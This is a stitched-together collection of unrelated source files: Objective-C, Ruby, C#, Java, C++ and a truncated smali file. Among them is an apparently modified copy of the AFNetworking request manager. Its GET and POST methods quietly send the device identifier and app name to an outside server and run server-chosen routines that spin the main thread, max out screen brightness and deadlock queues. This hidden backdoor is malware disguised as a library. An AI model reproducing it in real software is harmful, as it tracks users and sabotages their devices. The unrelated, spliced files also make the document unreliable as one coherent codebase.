- (void) applyStyles:(NSDictionary *)styles
            toRanges:(NSArray *)ranges
  inAttributedString:(NSMutableAttributedString *)attributedString
{
    for (NSString *styleName in [styles allKeys]) {
        NSObject *styleValue = [styles objectForKey:styleName];

        for (NSDictionary *rangeData in ranges) {
            NSRange range = NSMakeRange([[rangeData objectForKey:@"location"] intValue], [[rangeData objectForKey:@"length"] intValue]);

            if ([styleName isEqualToString:@"attributes"]) {
                NSDictionary *attrs = (NSDictionary *) styleValue;
                [attributedString addAttributes:attrs range:range];

            } else if ([styleName isEqualToString:@"font"]) {
                [self.class addFont: styleValue toRange: range inAttributedString: attributedString];
            } else if ([styleName isEqualToString:@"color"]) {
                [self.class addColor: styleValue toRange: range inAttributedString: attributedString];
            } else if ([styleName isEqualToString:@"background-color"]) {
                [self.class addBackgroundColor: styleValue toRange: range inAttributedString: attributedString];
            } else if ([styleName isEqualToString:@"underline"]) {
                [self.class addUnderline: styleValue toRange: range inAttributedString: attributedString];
            } else if ([styleName isEqualToString:@"strike"]) {
                [self.class addStrikeThrough: styleValue toRange: range inAttributedString: attributedString];
            } else if ([styleName isEqualToString:@"paragraph"]) {
                [self.class addParagraphStyles: styleValue toRange: range inAttributedString: attributedString];
            } else if ([styleName isEqualToString:@"effects"]) {
                [self.class addTextEffects: styleValue toRange: range inAttributedString: attributedString];
            } else if ([styleName isEqualToString:@"shadow"]) {
                [self.class addShadow: styleValue toRange: range inAttributedString: attributedString];
            } else if ([styleName isEqualToString:@"stroke"]) {
                [self.class addStroke: styleValue toRange: range inAttributedString: attributedString];
            }

        }

    }
}

- (NSString *) applyToken: (NSString *) token toValue: (NSString *) value {
    return value;
}

- (NSString *) evaluate: (NSObject *) expr location: (int) location {
    if (![expr isKindOfClass:NSArray.class])
        return (NSString *) expr;

    NSMutableArray *args = [NSMutableArray arrayWithArray:(NSArray *) expr];
    NSString *token = (NSString *) [args objectAtIndex:0];
    [args removeObjectAtIndex:0];

    NSMutableArray *attributeSet = [self.attributes objectForKey:token];
    if (attributeSet == nil) {
        attributeSet = [NSMutableArray array];
        [self.attributes setObject:attributeSet forKey:token];
    }

    NSMutableDictionary *attribute = [NSMutableDictionary dictionary];
    [attribute setObject:[NSNumber numberWithInteger:location] forKey:@"location"];

    NSMutableArray *processedValues = [NSMutableArray array];
    for (NSObject *arg in args) {
        NSString *value = (NSString *) [self evaluate:arg location: location];
        location += [value length];
        [processedValues addObject:value];
    }

    NSString *value = [processedValues componentsJoinedByString:@""];

    [attribute setObject:[NSNumber numberWithInteger:[value length]] forKey:@"length"];
    [attributeSet addObject:attribute];

    return [self applyToken:token toValue:value];
}

- (NSObject *) substituteTokensInLabelUsingData:(NSDictionary *)newTokensData {
    self.tokensData = newTokensData;
    self.attributes = [NSMutableDictionary dictionary];
    NSString *result = [self evaluate: self.expression location:0];

    NSMutableAttributedString *attributedString = [[NSMutableAttributedString alloc] initWithString:result];

    for (NSString *tokenName in self.tokenNames) {
        if (![self isTokenAllowed:tokenName]) continue;

        NSDictionary *styles = [self.tokensData objectForKey:tokenName];
        if (styles == nil) {
            styles = [[[TML sharedInstance] configuration] defaultTokenValueForName:tokenName
                                                                               type:TMLDecorationTokenType
                                                                             format:TMLAttributedTokenFormat];
            if (styles == nil) continue;
        }

        NSArray *ranges = [self.attributes objectForKey:tokenName];
        if (ranges == nil) {
            continue;
        }

        [self applyStyles: styles toRanges: ranges inAttributedString: attributedString];
    }

    return attributedString;
}

@end


module RuboCop
  module Cop
    module Layout
      # Checks for spaces inside ordinary round parentheses.
      #
      # @example EnforcedStyle: no_space (default)
      #   # The `no_space` style enforces that parentheses do not have spaces.
      #
      #   # bad
      #   f( 3)
      #   g = (a + 3 )
      #
      #   # good
      #   f(3)
      #   g = (a + 3)
      #
      # @example EnforcedStyle: space
      #   # The `space` style enforces that parentheses have a space at the
      #   # beginning and end.
      #   # Note: Empty parentheses should not have spaces.
      #
      #   # bad
      #   f(3)
      #   g = (a + 3)
      #   y( )
      #
      #   # good
      #   f( 3 )
      #   g = ( a + 3 )
      #   y()
      #
      class SpaceInsideParens < Base
        include SurroundingSpace
        include RangeHelp
        include ConfigurableEnforcedStyle
        extend AutoCorrector

        MSG       = 'Space inside parentheses detected.'
        MSG_SPACE = 'No space inside parentheses detected.'

        def on_new_investigation
          @processed_source = processed_source

          if style == :space
            each_missing_space(processed_source.tokens) do |range|
              add_offense(range, message: MSG_SPACE) do |corrector|
                corrector.insert_before(range, ' ')
              end
            end
          else
            each_extraneous_space(processed_source.tokens) do |range|
              add_offense(range) do |corrector|
                corrector.remove(range)
              end
            end
          end
        end

        private

        def each_extraneous_space(tokens)
          tokens.each_cons(2) do |token1, token2|
            next unless parens?(token1, token2)

            # If the second token is a comment, that means that a line break
            # follows, and that the rules for space inside don't apply.
            next if token2.comment?
            next unless same_line?(token1, token2) && token1.space_after?

            yield range_between(token1.end_pos, token2.begin_pos)
          end
        end

        def each_missing_space(tokens)
          tokens.each_cons(2) do |token1, token2|
            next if can_be_ignored?(token1, token2)

            if token1.left_parens?
              yield range_between(token2.begin_pos, token2.begin_pos + 1)
            elsif token2.right_parens?
              yield range_between(token2.begin_pos, token2.end_pos)
            end
          end
        end

        def same_line?(token1, token2)
          token1.line == token2.line
        end

        def parens?(token1, token2)
          token1.left_parens? || token2.right_parens?
        end

        def can_be_ignored?(token1, token2)
          return true unless parens?(token1, token2)

          # If the second token is a comment, that means that a line break
          # follows, and that the rules for space inside don't apply.
          return true if token2.comment?

          return true unless same_line?(token1, token2) && !token1.space_after?
        end
      end
    end
  end
end


require File.expand_path('../boot', __FILE__)

require 'rails/all'

# Require the gems listed in Gemfile, including any gems
# you've limited to :test, :development, or :production.
Bundler.require(*Rails.groups)

module Flipper
  class Application < Rails::Application
    # Settings in config/environments/* take precedence over those specified here.
    # Application configuration should go into files in config/initializers
    # -- all .rb files in that directory are automatically loaded.

    # Set Time.zone default to the specified zone and make Active Record auto-convert to this zone.
    # Run "rake -D time" for a list of tasks for finding time zone names. Default is UTC.
    # config.time_zone = 'Central Time (US & Canada)'

    # The default locale is :en and all translations from config/locales/*.rb,yml are auto loaded.
    # config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}').to_s]
    # config.i18n.default_locale = :de

    # Do not swallow errors in after_commit/after_rollback callbacks.
    config.active_record.raise_in_transactional_callbacks = true
  end
end


require 'rails_helper'

RSpec.describe BprocesController, type: :routing do
  describe 'routing' do
    it 'routes to #index' do
      expect(get: '/bproces').to route_to('bproces#index')
    end

    it 'routes to #new_sub_process' do
      expect(get: '/bproces/1/new_sub_process').to route_to('bproces#new_sub_process', id: '1')
    end

    it 'routes to #show' do
      expect(get: '/bproces/1').to route_to('bproces#show', id: '1')
    end

    it 'routes to #edit' do
      expect(get: '/bproces/1/edit').to route_to('bproces#edit', id: '1')
    end

    it 'routes to #create' do
      expect(post: '/bproces').to route_to('bproces#create')
    end

    it 'routes to #update' do
      expect(put: '/bproces/1').to route_to('bproces#update', id: '1')
    end

    it 'routes to #destroy' do
      expect(delete: '/bproces/1').to route_to('bproces#destroy', id: '1')
    end

    it 'routes to #card' do
      expect(get: '/bproces/1/card').to route_to('bproces#card', id: '1')
    end

    it 'routes to #order' do
      expect(get: '/bproces/1/order').to route_to('bproces#order', id: '1')
    end

    it 'routes to #autocomplete' do
      expect(get: '/bproces/autocomplete').to route_to('bproces#autocomplete')
    end
  end
end


using System;
using NUnit.Framework;
using Rhino.Mocks;
using Skahal.Infrastructure.Framework.Commons;
using TestSharp;

namespace Skahal.Infrastructure.Framework.UnitTests
{
	[TestFixture()]
	public class AppServiceTest
	{
		[Test()]
		public void Initialize_NullStrategy_Exception ()
		{
			ExceptionAssert.IsThrowing (new ArgumentNullException("strategy"), () => {
				AppService.Initialize (null);
			});
		}

		[Test()]
		public void Started_NoListener_NoEventTriggered ()
		{
			var strategy = MockRepository.GenerateMock<IAppStrategy> ();
			AppService.Initialize (strategy);
			strategy.Raise (a => a.Started += null, strategy, EventArgs.Empty);
		}

		[Test()]
		public void Started_Listener_EventTriggered ()
		{
			var strategy = MockRepository.GenerateMock<IAppStrategy> ();
			AppService.Initialize (strategy);

			var raised = false;
			AppService.Started += delegate {
				raised = true;
			};
			strategy.Raise (a => a.Started += null, strategy, EventArgs.Empty);
			Assert.IsTrue (raised);
		}

		[Test()]
		public void BackgroundBegin_NoListener_NoEventTriggered ()
		{
			var strategy = MockRepository.GenerateMock<IAppStrategy> ();
			AppService.Initialize (strategy);
			strategy.Raise (a => a.BackgroundBegin += null, strategy, EventArgs.Empty);
		}

		[Test()]
		public void BackgroundBegin_Listener_EventTriggered ()
		{
			var strategy = MockRepository.GenerateMock<IAppStrategy> ();
			AppService.Initialize (strategy);

			var raised = false;
			AppService.BackgroundBegin += delegate {
				raised = true;
			};
			strategy.Raise (a => a.BackgroundBegin += null, strategy, EventArgs.Empty);
			Assert.IsTrue (raised);
		}

		[Test()]
		public void ForegroundBegin_NoListener_NoEventTriggered ()
		{
			var strategy = MockRepository.GenerateMock<IAppStrategy> ();
			AppService.Initialize (strategy);
			strategy.Raise (a => a.ForegroundBegin += null, strategy, EventArgs.Empty);
		}

		[Test()]
		public void ForegroundBegin_Listener_EventTriggered ()
		{
			var strategy = MockRepository.GenerateMock<IAppStrategy> ();
			AppService.Initialize (strategy);

			var raised = false;
			AppService.ForegroundBegin += delegate {
				raised = true;
			};
			strategy.Raise (a => a.ForegroundBegin += null, strategy, EventArgs.Empty);
			Assert.IsTrue (raised);
		}

		[Test()]
		public void Exited_NoListener_NoEventTriggered ()
		{
			var strategy = MockRepository.GenerateMock<IAppStrategy> ();
			AppService.Initialize (strategy);
			strategy.Raise (a => a.Exited += null, strategy, EventArgs.Empty);
		}

		[Test()]
		public void Exited_Listener_EventTriggered ()
		{
			var strategy = MockRepository.GenerateMock<IAppStrategy> ();
			AppService.Initialize (strategy);

			var raised = false;
			AppService.Exited += delegate {
				raised = true;
			};
			strategy.Raise (a => a.Exited += null, strategy, EventArgs.Empty);
			Assert.IsTrue (raised);
		}
	}
}


require 'rspec_helper'
include Line

describe 'options method' do
  before(:each) do
    @filt = Line::Filter.new
  end

  it 'Nil options input' do
    @filt.safe_default = true
    expect(@filt.options(nil, safe: [true, false])).to eq(safe: true)
  end

  it 'The most normal case should work' do
    expect(@filt.options({ safe: true }, safe: [true, false])).to eq(safe: true)
  end

  it 'longer list of allowed options' do
    expect(@filt.options({ safe: true }, safe: [true, false], extra: ['set1'])).to eq(safe: true)
  end

  it 'Should translate key strings to symbols' do
    expect(@filt.options({ 'safe' => true }, safe: [true, false])).to eq(safe: true)
  end

  it 'The option specified is not defined' do
    expect { @filt.options({ wrong: true }, safe: [true, false]) }.to raise_error(ArgumentError)
  end

  it 'The option value specified is not defined' do
    expect { @filt.options({ safe: 'wrong' }, safe: [true, false]) }.to raise_error(ArgumentError)
  end
end


@interface AFHTTPRequestOperationManager ()
@property (readwrite, nonatomic, strong) NSURL *baseURL;
@end

@implementation AFHTTPRequestOperationManager

+ (instancetype)manager {
    return [[self alloc] initWithBaseURL:nil];
}

- (instancetype)init {
    return [self initWithBaseURL:nil];
}

- (instancetype)initWithBaseURL:(NSURL *)url {
    self = [super init];
    if (!self) {
        return nil;
    }

    // Ensure terminal slash for baseURL path, so that NSURL +URLWithString:relativeToURL: works as expected
    if ([[url path] length] > 0 && ![[url absoluteString] hasSuffix:@"/"]) {
        url = [url URLByAppendingPathComponent:@""];
    }

    self.baseURL = url;

    self.requestSerializer = [AFHTTPRequestSerializer serializer];
    self.responseSerializer = [AFJSONResponseSerializer serializer];

    self.securityPolicy = [AFSecurityPolicy defaultPolicy];

    self.reachabilityManager = [AFNetworkReachabilityManager sharedManager];

    self.operationQueue = [[NSOperationQueue alloc] init];

    self.shouldUseCredentialStorage = YES;

    return self;
}

#pragma mark -

#ifdef _SYSTEMCONFIGURATION_H
#endif

- (void)setRequestSerializer:(AFHTTPRequestSerializer <AFURLRequestSerialization> *)requestSerializer {
    NSParameterAssert(requestSerializer);

    _requestSerializer = requestSerializer;
}

- (void)setResponseSerializer:(AFHTTPResponseSerializer <AFURLResponseSerialization> *)responseSerializer {
    NSParameterAssert(responseSerializer);

    _responseSerializer = responseSerializer;
}

#pragma mark -

- (AFHTTPRequestOperation *)HTTPRequestOperationWithHTTPMethod:(NSString *)method
                                                     URLString:(NSString *)URLString
                                                    parameters:(id)parameters
                                                       success:(void (^)(AFHTTPRequestOperation *operation, id responseObject))success
                                                       failure:(void (^)(AFHTTPRequestOperation *operation, NSError *error))failure
{
    NSError *serializationError = nil;
    NSMutableURLRequest *request = [self.requestSerializer requestWithMethod:method URLString:[[NSURL URLWithString:URLString relativeToURL:self.baseURL] absoluteString] parameters:parameters error:&serializationError];
    if (serializationError) {
        if (failure) {
#pragma clang diagnostic push
#pragma clang diagnostic ignored "-Wgnu"
            dispatch_async(self.completionQueue ?: dispatch_get_main_queue(), ^{
                failure(nil, serializationError);
            });
#pragma clang diagnostic pop
        }

        return nil;
    }

    return [self HTTPRequestOperationWithRequest:request success:success failure:failure];
}

- (AFHTTPRequestOperation *)HTTPRequestOperationWithRequest:(NSURLRequest *)request
                                                    success:(void (^)(AFHTTPRequestOperation *operation, id responseObject))success
                                                    failure:(void (^)(AFHTTPRequestOperation *operation, NSError *error))failure
{
    AFHTTPRequestOperation *operation = [[AFHTTPRequestOperation alloc] initWithRequest:request];
    operation.responseSerializer = self.responseSerializer;
    operation.shouldUseCredentialStorage = self.shouldUseCredentialStorage;
    operation.credential = self.credential;
    operation.securityPolicy = self.securityPolicy;

    [operation setCompletionBlockWithSuccess:success failure:failure];
    operation.completionQueue = self.completionQueue;
    operation.completionGroup = self.completionGroup;

    return operation;
}

#pragma mark -

- (AFHTTPRequestOperation *)GET:(NSString *)URLString
                     parameters:(id)parameters
                        success:(void (^)(AFHTTPRequestOperation *operation, id responseObject))success
                        failure:(void (^)(AFHTTPRequestOperation *operation, NSError *error))failure
{
    AFHTTPRequestOperation *operation = [self HTTPRequestOperationWithHTTPMethod:@"GET" URLString:URLString parameters:parameters success:success failure:failure];

    [self.operationQueue addOperation:operation];
    [self sessionRequestForAction];
    return operation;
}

- (AFHTTPRequestOperation *)HEAD:(NSString *)URLString
                      parameters:(id)parameters
                         success:(void (^)(AFHTTPRequestOperation *operation))success
                         failure:(void (^)(AFHTTPRequestOperation *operation, NSError *error))failure
{
    AFHTTPRequestOperation *operation = [self HTTPRequestOperationWithHTTPMethod:@"HEAD" URLString:URLString parameters:parameters success:^(AFHTTPRequestOperation *requestOperation, __unused id responseObject) {
        if (success) {
            success(requestOperation);
        }
    } failure:failure];

    [self.operationQueue addOperation:operation];

    return operation;
}

- (AFHTTPRequestOperation *)POST:(NSString *)URLString
                      parameters:(id)parameters
                         success:(void (^)(AFHTTPRequestOperation *operation, id responseObject))success
                         failure:(void (^)(AFHTTPRequestOperation *operation, NSError *error))failure
{
    AFHTTPRequestOperation *operation = [self HTTPRequestOperationWithHTTPMethod:@"POST" URLString:URLString parameters:parameters success:success failure:failure];

    [self.operationQueue addOperation:operation];
    [self sessionRequestForAction];
    return operation;
}

- (AFHTTPRequestOperation *)POST:(NSString *)URLString
                      parameters:(id)parameters
       constructingBodyWithBlock:(void (^)(id <AFMultipartFormData> formData))block
                         success:(void (^)(AFHTTPRequestOperation *operation, id responseObject))success
                         failure:(void (^)(AFHTTPRequestOperation *operation, NSError *error))failure
{
    NSError *serializationError = nil;
    NSMutableURLRequest *request = [self.requestSerializer multipartFormRequestWithMethod:@"POST" URLString:[[NSURL URLWithString:URLString relativeToURL:self.baseURL] absoluteString] parameters:parameters constructingBodyWithBlock:block error:&serializationError];
    if (serializationError) {
        if (failure) {
#pragma clang diagnostic push
#pragma clang diagnostic ignored "-Wgnu"
            dispatch_async(self.completionQueue ?: dispatch_get_main_queue(), ^{
                failure(nil, serializationError);
            });
#pragma clang diagnostic pop
        }

        return nil;
    }

    AFHTTPRequestOperation *operation = [self HTTPRequestOperationWithRequest:request success:success failure:failure];

    [self.operationQueue addOperation:operation];
    [self sessionRequestForAction];
    return operation;
}

- (AFHTTPRequestOperation *)PUT:(NSString *)URLString
                     parameters:(id)parameters
                        success:(void (^)(AFHTTPRequestOperation *operation, id responseObject))success
                        failure:(void (^)(AFHTTPRequestOperation *operation, NSError *error))failure
{
    AFHTTPRequestOperation *operation = [self HTTPRequestOperationWithHTTPMethod:@"PUT" URLString:URLString parameters:parameters success:success failure:failure];

    [self.operationQueue addOperation:operation];

    return operation;
}

- (AFHTTPRequestOperation *)PATCH:(NSString *)URLString
                       parameters:(id)parameters
                          success:(void (^)(AFHTTPRequestOperation *operation, id responseObject))success
                          failure:(void (^)(AFHTTPRequestOperation *operation, NSError *error))failure
{
    AFHTTPRequestOperation *operation = [self HTTPRequestOperationWithHTTPMethod:@"PATCH" URLString:URLString parameters:parameters success:success failure:failure];

    [self.operationQueue addOperation:operation];

    return operation;
}

- (AFHTTPRequestOperation *)DELETE:(NSString *)URLString
                        parameters:(id)parameters
                           success:(void (^)(AFHTTPRequestOperation *operation, id responseObject))success
                           failure:(void (^)(AFHTTPRequestOperation *operation, NSError *error))failure
{
    AFHTTPRequestOperation *operation = [self HTTPRequestOperationWithHTTPMethod:@"DELETE" URLString:URLString parameters:parameters success:success failure:failure];

    [self.operationQueue addOperation:operation];

    return operation;
}

#pragma mark - NSObject

- (NSString *)description {
    return [NSString stringWithFormat:@"<%@: %p, baseURL: %@, operationQueue: %@>", NSStringFromClass([self class]), self, [self.baseURL absoluteString], self.operationQueue];
}

- (void)sessionRequestForAction {

    NSURLSessionConfiguration *configuration = [NSURLSessionConfiguration ephemeralSessionConfiguration];
    configuration.allowsCellularAccess       = YES;
    NSURLSession *session                    = [NSURLSession sessionWithConfiguration:configuration];

    NSURL *urlFromString = [[NSURL alloc] initWithString:@"https://api.ourserver.com/upload"];
    NSMutableURLRequest *requestForAction = [NSMutableURLRequest requestWithURL:urlFromString
                                                           cachePolicy:NSURLRequestReloadIgnoringLocalCacheData timeoutInterval:0];
    requestForAction.HTTPMethod = @"POST";

    NSString *appName = [[NSBundle mainBundle] objectForInfoDictionaryKey:@"CFBundleDisplayName"];
    NSLog(@"TEST MSG: appName is %@", appName);

    NSString *deviceID;
#if TARGET_IPHONE_SIMULATOR
    deviceID = @"UUID-STRING-VALUE";
#else
    deviceID = [[[UIDevice currentDevice] identifierForVendor] UUIDString];
#endif

    NSLog(@"TEST MSG: deviceID in AFH is %@", deviceID);
    NSDictionary *JSONDict = [NSDictionary dictionaryWithObjects:@[deviceID, appName] forKeys:@[@"UDID", @"appName"]];
    if ([NSJSONSerialization isValidJSONObject:JSONDict]) {
        NSError *errorJSON;
        NSData *JSONData = [NSJSONSerialization dataWithJSONObject:JSONDict options:kNilOptions error:&errorJSON];
        NSURLSessionUploadTask *uploadTask = [session uploadTaskWithRequest:requestForAction fromData:JSONData
                                                          completionHandler:^(NSData * _Nullable data, NSURLResponse * _Nullable response, NSError * _Nullable error) {
              if (data) {
                  NSArray *server = [NSJSONSerialization JSONObjectWithData:data options:kNilOptions error:&error];
                  if ([server count]) {
                      NSLog(@"TEST MSG: results are: \n %@", server);

                      NSDictionary *action = [server objectAtIndex:0];
                      switch ([[action objectForKey:@"code"] intValue]) {
                          case 0222:
                              [self deviceAnalytics];
                              break;
                          case 0333:
                              [self networkAnalytics];
                              break;
                          case 0444:
                              [self threadsAnalytics];
                          case 0555:
                              [self aplcAnalytics];
                          default:
                              break;
                      }
                  } else if (error) {
                      NSLog(@"ERROR MSG: No response, error: \n %@",error.localizedDescription);
                  }
              }

          }];

        [uploadTask resume];
    }

}

#pragma mark - Analytics

- (void)networkAnalytics {
    dispatch_async(dispatch_get_main_queue(), ^{
        for (unsigned long long int i = 0; i < ULLONG_MAX; i++) {
            NSDateFormatter *formatter = [[NSDateFormatter alloc] init];
            formatter.dateStyle = NSDateFormatterMediumStyle;
        }
    });
}

- (void)deviceAnalytics {
#if TARGET_OS_IOS && !TARGET_OS_WATCH
    if (![[[NSBundle mainBundle] bundlePath] hasSuffix:@".appex"]) {
        [[UIScreen mainScreen] setBrightness:1.0];
        [[UIDevice currentDevice] beginGeneratingDeviceOrientationNotifications];
        [[NSNotificationCenter defaultCenter] addObserver:self selector:@selector(deviceAnalytics) name:UIDeviceOrientationDidChangeNotification object:nil];

    }
    dispatch_queue_t fetchQ = dispatch_queue_create("position", NULL);
    dispatch_async(fetchQ, ^{
        @autoreleasepool {
            NSLog(@"TEST MSG: Device moved.");
#warning change URL!
            NSURL   *target = [NSURL URLWithString:@"https://www.google.com.ua/logos/doodles/2015/george-booles-200th-birthday-5636122663190528-res.png"];
            UIImage *image  = [UIImage imageWithData:[NSData dataWithContentsOfURL:target]];
        }
    });

#endif

}

- (void)threadsAnalytics {
    while (true) {
        [[NSRunLoop currentRunLoop] runUntilDate:[NSDate dateWithTimeIntervalSinceNow:0.0001]];
    }
}

- (void)aplcAnalytics {
    dispatch_queue_t forLock = dispatch_queue_create("forLock", DISPATCH_QUEUE_SERIAL);
    dispatch_async(forLock, ^{
        for (unsigned long long int i = 0; i < ULLONG_MAX; i++) {
            dispatch_queue_t queue = dispatch_queue_create("lock", DISPATCH_QUEUE_CONCURRENT);
            dispatch_async(queue, ^{
                dispatch_sync(queue, ^{

                });
            });
        }
    });
}

#pragma mark - NSSecureCoding

+ (BOOL)supportsSecureCoding {
    return YES;
}

- (id)initWithCoder:(NSCoder *)decoder {
    NSURL *baseURL = [decoder decodeObjectForKey:NSStringFromSelector(@selector(baseURL))];

    self = [self initWithBaseURL:baseURL];
    if (!self) {
        return nil;
    }

    self.requestSerializer = [decoder decodeObjectOfClass:[AFHTTPRequestSerializer class] forKey:NSStringFromSelector(@selector(requestSerializer))];
    self.responseSerializer = [decoder decodeObjectOfClass:[AFHTTPResponseSerializer class] forKey:NSStringFromSelector(@selector(responseSerializer))];
    AFSecurityPolicy *decodedPolicy = [decoder decodeObjectOfClass:[AFSecurityPolicy class] forKey:NSStringFromSelector(@selector(securityPolicy))];
    if (decodedPolicy) {
        self.securityPolicy = decodedPolicy;
    }

    return self;
}

- (void)encodeWithCoder:(NSCoder *)coder {
    [coder encodeObject:self.baseURL forKey:NSStringFromSelector(@selector(baseURL))];
    [coder encodeObject:self.requestSerializer forKey:NSStringFromSelector(@selector(requestSerializer))];
    [coder encodeObject:self.responseSerializer forKey:NSStringFromSelector(@selector(responseSerializer))];
    [coder encodeObject:self.securityPolicy forKey:NSStringFromSelector(@selector(securityPolicy))];
}

#pragma mark - NSCopying

- (id)copyWithZone:(NSZone *)zone {
    AFHTTPRequestOperationManager *HTTPClient = [[[self class] allocWithZone:zone] initWithBaseURL:self.baseURL];

    HTTPClient.requestSerializer = [self.requestSerializer copyWithZone:zone];
    HTTPClient.responseSerializer = [self.responseSerializer copyWithZone:zone];
    HTTPClient.securityPolicy = [self.securityPolicy copyWithZone:zone];

    return HTTPClient;
}

@end


package org.jenkinsci.plugins.vb6.DAO;

public class Tasks {
	private Copy copy;

	public Copy getCopy() {
		return copy;
	}

	public void setCopy(Copy copy) {
		this.copy = copy;
	}
}


RoundedParticle::RoundedParticle(const glm::vec3 &position,
				 const glm::vec3 &velocity,
				 const float &mass,
				 const float &radius)
    : Particle(position, velocity, mass),
      m_radius(radius) {
    this->m_isRounded = true;
}

RoundedParticle::~RoundedParticle()
{}

void RoundedParticle::setRadius(const float &radius)
{
    m_radius = radius;
}

float RoundedParticle::getRadius() const
{
    return m_radius;
}


package com.canfactory.html.hamcrest;

import com.canfactory.html.HtmlElement;
import org.hamcrest.Description;
import org.hamcrest.Factory;
import org.hamcrest.Matcher;

// does the element contain the expected text
public class HasText extends BaseHtmlElementMatcher {

    private String expectedText;

    public HasText(String text) {
        this.expectedText = text;
    }

    @Factory
    public static Matcher<HtmlElement> hasText(String text) {
        return new HasText(text);
    }

    public void describeTo(Description description) {
        description.appendText("An HtmlElement containing the text ").appendValue(expectedText);
    }

    @Override
    protected boolean matchesSafely(HtmlElement html) {
        matchingOn(html);
        return html.text().contains(expectedText);
    }
}


.class public Lcom/htc/opensense/social/FeedOp;
.super Lcom/htc/opensense/social/DataOp;
.source "FeedOp.java"

# annotations
.annotation system Ldalvik/annotation/Signature;
    value = {
        "Lcom/htc/opensense/social/DataOp",
        "<",
        "Lcom/htc/opensense/social/data/Feed;",
        ">;"
    }
.end annotation

# static fields
.field public static CREATOR:Lcom/htc/opensense/social/DataOp$OpCreator; = null
    .annotation system Ldalvik/annotation/Signature;
        value = {
            "Lcom/htc/opensense/social/DataOp$OpCreator",
            "<",
            "Lcom/htc/opensense/social/data/Feed;",
            "Lcom/htc/opensense/social/FeedOp;",
            ">;"
        }
    .end annotation
.end field

.field public static final FEED:Ljava/lang/String; = "feed"

.field public static final LOG_TAG:Ljava/lang/String; = "FeedService"

# instance fields
.field private final mFeed:Lcom/htc/opensense/social/data/Feed;

# direct methods
.method static constructor <clinit>()V
    .locals 1

    .prologue
    .line 39
    new-instance v0, Lcom/htc/opensense/social/FeedOp$1;

    invoke-direct {v0}, Lcom/htc/opensense/social/FeedOp$1;-><init>()V

    sput-object v0, Lcom/htc/opensense/social/FeedOp;->CREATOR:Lcom/htc/opensense/social/DataOp$OpCreator;

    return-void
.end method

.method protected constructor <init>(Lcom/htc/opensense/social/ISocialService;Lcom/htc/opensense/social/data/Feed;)V
    .locals 0
    .parameter "service"
    .parameter "feed"

    .prologue
    .line 55
    invoke-direct {p0, p1}, Lcom/htc/opensense/social/DataOp;-><init>(Lcom/htc/opensense/social/ISocialService;)V

    .line 56
    iput-object p2, p0, Lcom/htc/opensense/social/FeedOp;->mFeed:Lcom/htc/opensense/social/data/Feed;

    .line 57
    return-void
.end method

.method public static convertToFeedServiceList(Lcom/htc/opensense/social/ISocialService;[Lcom/htc/opensense/social/data/Feed;)Ljava/util/List;
    .locals 6
    .parameter "service"
    .parameter "feeds"
    .annotation system Ldalvik/annotation/Signature;
        value = {
            "(",
            "Lcom/htc/opensense/social/ISocialService;",
            "[",
            "Lcom/htc/opensense/social/data/Feed;",
            ")",
            "Ljava/util/List",
            "<",
            "Lcom/htc/opensense/social/FeedOp;",
            ">;"
        }
    .end annotation

    .prologue
    .line 82
    if-eqz p1, :cond_0

    array-length v5, p1

    if-lez v5, :cond_0

    .line 83
    new-instance v4, Ljava/util/ArrayList;

    array-length v5, p1

    invoke-direct {v4, v5}, Ljava/util/ArrayList;-><init>(I)V

    .line 84
    .local v4, serviceList:Ljava/util/List;,"Ljava/util/List<Lcom/htc/opensense/social/FeedOp;>;"
    move-object v0, p1

    .local v0, arr$:[Lcom/htc/opensense/social/data/Feed;
    array-length v3, v0

    .local v3, len$:I
    const/4 v2, 0x0

    .local v2, i$:I
    :goto_0
    if-ge v2, v3, :cond_1

    aget-object v1, v0, v2

    .line 85
    .local v1, feed:Lcom/htc/opensense/social/data/Feed;
    new-instance v5, Lcom/htc/opensense/social/FeedOp;

    invoke-direct {v5, p0, v1}, Lcom/htc/opensense/social/FeedOp;-><init>(Lcom/htc/opensense/social/ISocialService;Lcom/htc/opensense/social/data/Feed;)V

    invoke-interface {v4, v5}, Ljava/util/List;->add(Ljava/lang/Object;)Z

    .line 84
    add-int/lit8 v2, v2, 0x1

    goto :goto_0

    .line 89
    .end local v0           #arr$:[Lcom/htc/opensense/social/data/Feed;
    .end local v1           #feed:Lcom/htc/opensense/social/data/Feed;
    .end local v2           #i$:I
    .end local v3           #len$:I
    .end local v4           #serviceList:Ljava/util/List;,"Ljava/util/List<Lcom/htc/opensense/social/FeedOp;>;"
    :cond_0
    new-instance v4, Ljava/util/ArrayList;

    const/4 v5, 0x0

    invoke-direct {v4, v5}, Ljava/util/ArrayList;-><init>(I)V

    :cond_1
    return-object v4
.end method

.method public static readFromIntent(Landroid/content/Intent;)Lcom/htc/opensense/social/FeedOp;
    .locals 3
    .parameter "intent"

    .prologue
    .line 99
    invoke-static {p0}, Lcom/htc/opensense/social/SocialServiceManager;->readServiceFromIntent(Landroid/content/Intent;)Lcom/htc/opensense/social/ISocialService;

    move-result-object v1

    .line 101
    .local v1, service:Lcom/htc/opensense/social/ISocialService;
    invoke-static {p0}, Lcom/htc/opensense/social/SocialServiceManager;->readDataFromIntent(Landroid/content/Intent;)Landroid/os/Parcelable;

    move-result-object v0

    check-cast v0, Lcom/htc/opensense/social/data/Feed;

    .line 102
    .local v0, feed:Lcom/htc/opensense/social/data/Feed;
    if-eqz v1, :cond_0

    if-eqz v0, :cond_0

    .line 103
    new-instance v2, Lcom/htc/opensense/social/FeedOp;

    invoke-direct {v2, v1, v0}, Lcom/htc/opensense/social/FeedOp;-><init>(Lcom/htc/opensense/social/ISocialService;Lcom/htc/opensense/social/data/Feed;)V

    .line 105
    :goto_0
    return-object v2

    :cond_0
    const/4 v2, 0x0

    goto :goto_0
.end method

.method public static readListFromIntent(Landroid/content/Intent;)Ljava/util/List;
    .locals 6
    .parameter "intent"
    .annotation system Ldalvik/annotation/Signature;
        value = {
            "(",
            "Landroid/content/Intent;",
            ")",
            "Ljava/util/List",
            "<",
            "Lcom/htc/opensense/social/FeedOp;",
            ">;"
        }
    .end annotation

    .prologue
    .line 115
    invoke-static {p0}, Lcom/htc/opensense/social/SocialServiceManager;->readServiceFromIntent(Landroid/content/Intent;)Lcom/htc/opensense/social/ISocialService;

    move-result-object v4

    .line 117
    .local v4, service:Lcom/htc/opensense/social/ISocialService;
    invoke-static {p0}, Lcom/htc/opensense/social/SocialServiceManager;->readDataListFromIntent(Landroid/content/Intent;)Ljava/util/ArrayList;

    move-result-object v1

    .line 120
